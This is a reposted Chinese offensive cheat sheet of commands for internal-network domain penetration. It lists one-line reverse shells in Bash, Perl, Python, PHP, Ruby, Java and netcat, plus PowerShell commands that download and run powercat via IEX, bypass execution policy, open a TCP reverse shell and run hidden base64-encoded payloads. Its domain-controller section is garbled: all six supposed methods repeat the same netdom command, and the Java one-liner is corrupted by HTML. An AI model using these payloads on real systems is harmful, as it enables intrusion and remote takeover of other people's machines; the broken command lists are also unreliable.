内网域实战渗透常用命令总结

内网域实战渗透常用命令总结

游戏|数码彩彩2024-05-11 7:39:24434A+A-

「干货」内网域实战渗透常用命令总结

 

 

一.查找域控的几种常用方法

 

1.net view

netdom query pdc

 

2.set log

netdom query pdc

 

3.通过srv记录

netdom query pdc

 

4.使用nltest

netdom query pdc

 

5.使用dsquery

netdom query pdc

 

6.使用netdom

netdom query pdc

 

注释:这些都是win系统自带的命令,有的时候win版本不同,有的命令会不存在,所以多一种方法,多一种成功的可能性,实际渗透,自行根据目标环境变换。

 

二.各种语言一句话反弹shell

 

Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功]

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

 

PERL

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3>&3 2>&3");'

 

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'

 

JAVA

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 2="" |="" while="" read="" line;="" do="" $line="">&5 >&5; done"] as String[]) p.waitFor()

 

netcat

nc -e /bin/sh x.x.x.x 2333
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决rm/tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f

 

三.常用Power shell命令

 

1.通过远程下载来执行

Set-ExecutionPolicy RemoteSigned IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

 

2.把ps脚本传到本地后执行

PowerShell.exe -ep Bypass -File d:powercat.ps1

 

3.本地交互式执行

E:>PowerShell.exe -ExecutionPolicy Bypass Invoke-PowerShellTcp -Reverse -IPAddress 10.18.180.18 -Port 4444

 

4.把ps脚本编码成base64来执行[实战用的最多]

powershell -ep bypass -NoLogo -NonInteractive -NoProfile -windowstyle Hidden -enc base64加密过的命令

 

作者:Ms08067安全实验室

转载注明:https://www.secpulse.com/archives/120372.html

点击这里复制本文地址 版权声明:本文内容由网友提供,该文观点仅代表作者本人。本站(https://www.angyang.net.cn)仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件举报,一经查实,本站将立刻删除。

昂扬百科 © All Rights Reserved.  渝ICP备2023000803号-3网赚杂谈